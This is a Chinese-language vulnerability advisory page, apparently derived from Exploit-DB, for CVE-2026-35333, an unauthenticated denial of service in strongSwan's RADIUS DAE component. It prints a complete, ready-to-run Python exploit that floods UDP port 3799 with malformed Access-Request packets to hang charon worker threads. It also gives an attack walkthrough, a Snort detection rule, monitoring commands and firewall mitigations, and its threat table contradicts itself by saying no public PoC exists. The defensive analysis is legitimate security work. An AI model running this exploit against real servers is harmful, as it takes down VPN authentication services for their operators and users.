[dos] strongSwan 5.9.13 - DoS
CVE-2026-35333:strongSwan 5.9.13及更早版本RADIUS DAE组件存在拒绝服务漏洞,远程未认证攻击者通过发送包含零长度属性的Access-Request数据包,触发attribute_enumerate()无限循环,导致工作线程CPU 100%占用。该漏洞无需DAE共享密钥即可利用,N个数据包可耗尽所有线程。修复需升级至5.9.13以上版本或禁用DAE功能。
strongSwan RADIUS DAE组件零长度属性导致无限循环DoS
High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)📋 漏洞基础信息
| CVE | CVE-2026-35333 |
|---|---|
| 漏洞类型 | 拒绝服务(无限循环) |
| 受影响版本 | strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled) |
| 危害等级 | High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) |
| 发布日期 | 2026-05-29 |
| 提交者 | Lukas Johannes Moeller |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
src/libradius/radius_message.c 中 attribute_enumerate() 函数遍历RADIUS消息属性列表时,未拒绝属性长度字节为0的情况。当 length == 0 时,this->next 永不前进,属性长度计算 `this->next->length - sizeof(rattr_t)` 下溢为 (size_t)-2,导致无限循环,单核CPU占用100%。
🎯 攻击场景
攻击者向目标DAE监听端口(UDP/3799)发送构造的Access-Request报文,其中包含长度为零的User-Name属性。radius_message_t::verify() 使用同一有缺陷的迭代器在响应验证器MD5检查之前查找Message-Authenticator,由于Access-Request跳过MD5检查,无需DAE共享密钥即可触发漏洞。发送N个数据包即可耗尽N个工作线程,导致DAE服务拒绝服务。成功标志:目标charon工作线程处于R状态,CPU占用约100%,进程无法正常处理RADIUS请求。
💥 漏洞影响
远程未认证攻击者通过发送单个畸形RADIUS数据包即可导致工作线程无限循环,CPU 100%占用。发送N个数据包可耗尽所有工作线程,导致RADIUS DAE服务完全拒绝服务,影响VPN认证及计费功能。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:
#!/usr/bin/env python3
"""
CVE-2026-35333 strongSwan RADIUS DAE 预认证拒绝服务漏洞 (DoS) PoC
====================================================================
影响: strongSwan <= 5.9.13 (启用 eap-radius 插件的 DAE 功能)
Debian 12 bookworm, charon 5.9.13 等版本
漏洞原理:
在 strongSwan 的 libradius 库中,`attribute_enumerate()` 函数在遍历 RADIUS 消息的属性列表时,
没有正确检查属性长度字节。当遇到长度值为 0 的属性时,计算下一个属性的指针 `this->next` 不会前进,
导致 `while` 循环陷入死循环。RADIUS Access-Request 消息(代码 1)在 `verify()` 函数中
先使用该函数遍历查找 Message-Authenticator 属性,然后才进行响应认证器的 MD5 校验,
且 Access-Request 会跳过 MD5 校验。因此攻击者可以发送一个包含零长度属性的伪造 Access-Request 数据包,
无需知道共享密钥,就能触发 charon 工作线程 100% CPU 占用,造成拒绝服务。
发送 N 个包可耗尽 N 个工作线程,导致完整 DAE DoS。
用法:
python3 CVE-2026-35333_poc.py --target 192.168.1.100
python3 CVE-2026-35333_poc.py --target 192.168.1.100 --count 8 --port 3799
免责声明: 仅用于授权测试和防御性研究。禁止对未获授权的系统使用。
"""
import argparse
import os
import socket
import struct
import sys
import time
# RADIUS 协议常量
ACCESS_REQUEST = 1 # RADIUS 数据包类型: Access-Request
RAT_USER_NAME = 1 # 属性类型: User-Name
def build_zero_length_attr_packet() -> bytes:
"""
构建一个畸形的 RADIUS Access-Request 数据包。
该数据包包含一个长度为 0 的 User-Name 属性,用于触发漏洞。
"""
identifier = os.urandom(1)[0] # 随机标识符
authenticator = os.urandom(16) # 随机请求认证器
# --- 20字节 RADIUS 头部结构 ---
# 字段: Code(1B), Identifier(1B), Length(2B), Authenticator(16B)
# 总长度 = 20(头部) + 2(属性: 类型1B + 长度1B) = 22
total_len = 22
header = struct.pack(
"!BBH16s", # 网络字节序, 大端: B(1), B(1), H(2), 16s(16)
ACCESS_REQUEST,
identifier,
total_len,
authenticator
)
# --- 零长度属性 ---
# 属性结构: Type(1B), Length(1B), Value(Length-2 Bytes)
# 此处 Length = 0,是畸形的。标准规定最小长度为 2 (Type + Length 本身)
# 漏洞就在于函数未校验 Length >= 2
attribute = struct.pack("!BB", RAT_USER_NAME, 0) # User-Name, 长度=0
return header + attribute
def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
"""
发送 UDP 数据包到目标 DAE 监听端口。
等待响应,超时则记录。
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(wait) # 设置接收超时
sock.sendto(packet, (target, port))
print(f"[+] 已发送 {len(packet)} 字节到 {target}:{port}/udp")
try:
data, addr = sock.recvfrom(4096) # 尝试接收响应
print(f"[-] 收到意外的响应 {len(data)} 字节 来自 {addr}: {data[:32].hex()}")
except socket.timeout:
# 预期结果: 目标线程陷入死循环,无法响应,因此超时
print(f"[+] 在 {wait:.1f} 秒内无响应 —— 预期行为: 目标工作线程已挂起")
finally:
sock.close()
def main() -> int:
parser = argparse.ArgumentParser(
description="CVE-2026-35333 strongSwan RADIUS DAE 预认证拒绝服务 PoC"
)
parser.add_argument("--target", required=True,
help="目标 DAE 监听器的 IPv4 地址 (如: 192.168.1.100)")
parser.add_argument("--port", type=int, default=3799,
help="目标 DAE 监听器的 UDP 端口 (默认: 3799)")
parser.add_argument("--count", type=int, default=1,
help="要发送的恶意数据包数量,每个包挂起一个工作线程 (默认: 1)")
parser.add_argument("--wait", type=float, default=2.0,
help="每个数据包的响应超时时间 (秒, 默认: 2.0)")
args = parser.parse_args()
payload = build_zero_length_attr_packet()
print(f"[*] 目标: {args.target}:{args.port}/udp")
print(f"[*] 发送数量: {args.count}")
print(f"[*] 数据包结构: RADIUS Access-Request + 零长度 User-Name 属性")
for i in range(args.count):
print(f"\n[*] 发送畸形数据包 #{i + 1} ...")
send_packet(payload, args.target, args.port, args.wait)
# 稍微延迟一下,避免网络栈问题,但不影响漏洞触发
time.sleep(0.2)
print("\n[+] 利用完成。")
print(" 预期效果: 每个数据包将导致目标 charon 的一个工作线程陷入死循环, CPU 占用 100%。")
print(" 在目标上验证: ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd")
print(" (如果所有工作线程都被挂起,DAE 将完全无法处理合法请求)")
return 0
if __name__ == "__main__":
sys.exit(main())🔬 深度技术分析
漏洞触发机制:从代码/协议层面解释漏洞根因
1. 漏洞函数:`attribute_enumerate()`
该漏洞的核心位于 src/libradius/radius_message.c 文件中的 attribute_enumerate() 函数。这个函数的作用是迭代 RADIUS 消息体中的属性列表。
在 RADIUS 协议(RFC 2865)中,属性(Attribute)的编码格式是 Type-Length-Value (TLV):
- Type (1 字节): 属性类型,如 User-Name (1)、Message-Authenticator (80)。
- Length (1 字节): 整个属性的总长度(包括 Type 和 Length 字段本身)。最小合法值为 2。
- Value (Length - 2 字节): 属性值。
attribute_enumerate() 的实现逻辑(简化伪代码)如下:
size_t attribute_enumerate(enumerator_t *this, ...) {
// this->next 指向当前待处理的属性头部
size_t length = this->next->length; // 读取 Length 字节
// ... 检查长度是否合法 ...
// 关键计算: 推进指针到下一个属性
this->next = (rattr_t *)((u_char *)this->next + length);
// 返回属性值和类型
}漏洞触发点:当 length == 0 时:
this->next指针不变(加 0)。- 函数返回后,下一次调用时,
this->next仍然指向同一个零长度属性的头部,导致无限循环。 - 尽管代码中可能有
while循环或类似迭代机制,但因为指针不前进,条件永远无法满足,线程永远停在该循环里。
2. 为什么是 `size_t` 下溢?
在代码中,计算属性值长度时使用 this->next->length - sizeof(rattr_t)。sizeof(rattr_t) 通常是 2。当 length == 0 时,0 - 2 在无符号整数 size_t 下会环绕成一个巨大的值(如 0xFFFFFFFF...FE),使得后续的内存访问或循环条件判断完全失控,但直接后果是迭代器永远不前进。
3. 为什么是 `Access-Request` 允许利用?
radius_message_t::verify() 函数用于验证传入的 RADIUS 消息。它的校验顺序是:
1. 使用 attribute_enumerate() 查找 Message-Authenticator 属性。
2. 执行 Response-Authenticator 的 MD5 校验(需要共享密钥)。
对于 RADIUS Code 1 (Access-Request),协议规定可以不对 Response-Authenticator 进行校验(或者校验逻辑不同)。因此,verify() 会调用第一步(查找属性),触发漏洞;而第二步的身份验证检查被跳过。
结论:攻击者发送一个伪造的 RADIUS Access-Request 包,其中包含一个 Type=User-Name, Length=0 的畸形属性,无需任何会话密钥或共享密钥,即可在 任意 charon 工作线程 中触发死循环。
利用链分析:攻击者具体怎么利用,每一步的技术细节
攻击链非常简单且高效,属于一个无状态的、预认证的、单包拒绝服务攻击。
第一步:定位 DAE 监听端口
- strongSwan 的 DAE (Dynamic Authorization Extension) 功能会监听一个 UDP 端口,通常为
3799(默认值),用于处理 RADIUS 动态授权变更。攻击者需要知道目标 IP 地址和端口。 - 该功能由
strongswan.conf中的charon.plugins.eap-radius.dae.enable = yes启用。
第二步:构造畸形数据包
- 攻击者构造一个标准的 RADIUS 数据包。
- 设置 Code 字段为
1(Access-Request)。 - 设置 Identifier 字段为任意随机字节。
- 设置 Authenticator 字段为 16 个随机字节(因为无需验证,所以随意)。
- 设置 Length 字段为 22(20 字节头部 + 2 字节畸形属性)。
- 数据包体只包含一个属性:Type 为 1(User-Name),Length 为 0。
第三步:发送数据包
- 使用 UDP socket,将构造好的数据包发送到
目标IP:3799。 - 攻击者不需要接收任何返回包,也不关心 charon 是否回复,因为回复的工作线程一旦陷入死循环就无法处理了。
第四步:拒绝服务 (DoS) 效果
- charon 是一个多线程的守护进程,通常有多个工作线程(worker thread)来处理并发请求。
- 每个发送的畸形数据包会被一个空闲的工作线程处理。
- 该线程执行
verify()->attribute_enumerate()-> 陷入死循环,CPU 使用率飙升至 100%。 - 如果攻击者发送 N 个包,且 N 大于等于工作线程池的大小,所有工作线程都会被挂起,DAE 功能完全瘫痪。即使配置了线程重启机制,只要攻击流量持续,服务就无法恢复。
关键点:攻击者不需要控制服务端,也不需要是合法客户端。该漏洞完全在服务器端处理畸形输入时触发。
关键代码/数据结构:涉及的关键 Windows API / 内存结构 / 协议字段
该漏洞发生在 Linux 系统上的 strongSwan,不是 Windows 系统。因此不涉及 Windows API,而是涉及标准的 C 语言库函数和 RADIUS 协议结构。
- 关键数据结构:
rattr_t
```c
// 位于 src/libradius/radius_message.h 或 .c
typedef struct {
u_int8_t type; // 1 字节,属性类型
u_int8_t length; // 1 字节,属性总长度
u_int8_t value[]; // 变长,属性值
} __attribute__((packed)) rattr_t;
```
- 关键循环:
attribute_enumerate()
该函数内部使用 while 或 for 循环遍历属性列表。漏洞点在于循环体内部对 length 判断的逻辑缺失或存在缺陷。
- 关键函数:
radius_message_t::verify()
- 调用 attribute_enumerate() 查找第一个属性是否为 Message-Authenticator。
- 根据 Code 字段决定是否执行后续的 MD5 认证。对于 Code=1,跳过认证。
- 协议字段 (RADIUS 头部):
- Code (1 byte): 决定数据包类型。
- Identifier (1 byte): 用于匹配请求和响应。
- Length (2 bytes): 整个数据包的长度。
- Authenticator (16 bytes): 用于验证身份的认证器。在 Access-Request 中,该字段随机生成或被忽略。
- Attributes (变长): 包含一个或多个 TLV 编码的属性。
检测与防御:蓝队侧如何检测(日志、流量特征、EDR规则)
检测方法
1. 基于网络流量的检测
- 流量特征:
- 检查发往 UDP 端口 3799(或自定义 DAE 端口)的数据包。
- 畸形 RADIUS 数据包的 Length 字段为 22(20 字节头部 + 2 字节属性)。
- 第二个属性(第一个且唯一一个属性)的 Length 字段为 0。
- 数据包中的 Authenticator 字段可能是全零或随机无效值(与正常 Access-Request 不同,正常请求中该字段会被忽略或计算,但不会是畸形触发结构)。
- Snort/Suricata 规则示例:
```
alert udp $EXTERNAL_NET any -> $HOME_NET 3799 (msg:"CVE-2026-35333 strongSwan DAE DoS Attempt";
content:"|01|"; offset:0; depth:1; # Code = Access-Request
content:"|00 16|"; within:2; distance:2; # Total Length = 22 (0x0016)
content:"|01 00|"; within:2; distance:18; # First Attribute: Type=User-Name, Length=0
metadata: policy security-ips drop;
sid: 10000001; rev:1;)
```
2. 基于主机端检测
- CPU 使用率监控:监控
charon进程的 CPU 使用率。如果发现多个工作线程 CPU 占满 (100%) 且状态为R(Running),是典型症状。
```bash
# 在目标上运行
watch -n 1 'ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd | grep " R "'
```
- 进程堆栈检测:使用
gdb或strace检测卡死的线程。注入gdb到挂起的线程,查看其堆栈是否卡在attribute_enumerate或相关循环。
```bash
# 找到卡死的 TID
gdb -p <TID>
# (gdb) bt
# 查看堆栈是否在 radius_message.c 的某个函数内
```
3. 日志检测
- strongSwan 默认日志级别可能不会记录这种内部处理循环,因为循环绕过了正常的日志输出路径。但可以查找异常的行为日志,如大量超时或无法处理的
Access-Request。然而,直接通过日志检测此漏洞较困难。
防御措施
1. 立即升级: 升级到 strongSwan >= 5.9.14 版本,该版本已修复 attribute_enumerate() 中未检查属性长度是否为 0 的问题。
2. 配置缓解:
- 如果不需要 DAE 功能,禁用它:
```
# 在 strongswan.conf 中设置
charon.plugins.eap-radius.dae.enable = no
```
- 如果必须启用 DAE,考虑使用防火墙限制访问 DAE 端口(UDP 3799)的来源 IP,只允许受信任的网络管理服务器访问:
```bash
iptables -A INPUT -p udp --dport 3799 -s <trusted_management_network> -j ACCEPT
iptables -A INPUT -p udp --dport 3799 -j DROP
```
3. 部署 WAF/IPS: 如上述 Snort 规则所示,在网络边界处检测并丢弃包含零长度 RADIUS 属性的畸形数据包。
4. 添加输入验证: 在源码级别,对 rattr_t->length 进行严格检查,确保最低长度为 2(length >= sizeof(rattr_t)),避免任何 0 或负值的出现。这是最根本的修复方式。
🛡️ 修复建议
1. 升级至strongSwan修复版本(commit e067d24293 后的大于5.9.13版本)。 2. 临时缓解:禁用DAE功能(设置`charon.plugins.eap-radius.dae.enable = no`),或配置防火墙限制UDP/3799端口的访问来源。
📎 参考链接
- https://github.com/strongswan/strongswan/commit/e067d24293
- https://nvd.nist.gov/vuln/detail/CVE-2026-35333
- https://github.com/JohannesLks/CVE-2026-35333
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-01 08:09 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 漏洞是否需要DAE共享密钥?
不需要。Access-Request跳过MD5检查,因此无需知道DAE shared secret即可利用。作为预认证漏洞,远程无凭证即可触发。
❓ 如何确认系统是否受影响?
检查strongSwan版本是否<=5.9.13,且`charon.plugins.eap-radius.dae.enable`配置为yes。查看`ps -L -p $(pidof charon)`可发现线程R态100%CPU。
❓ 如何缓解但又不重启服务?
在防火墙中限制UDP/3799端口的入站流量,仅允许受信任的管理IP;或者临时禁用DAE插件,设置`charon.plugins.eap-radius.dae.enable=no`并重载配置。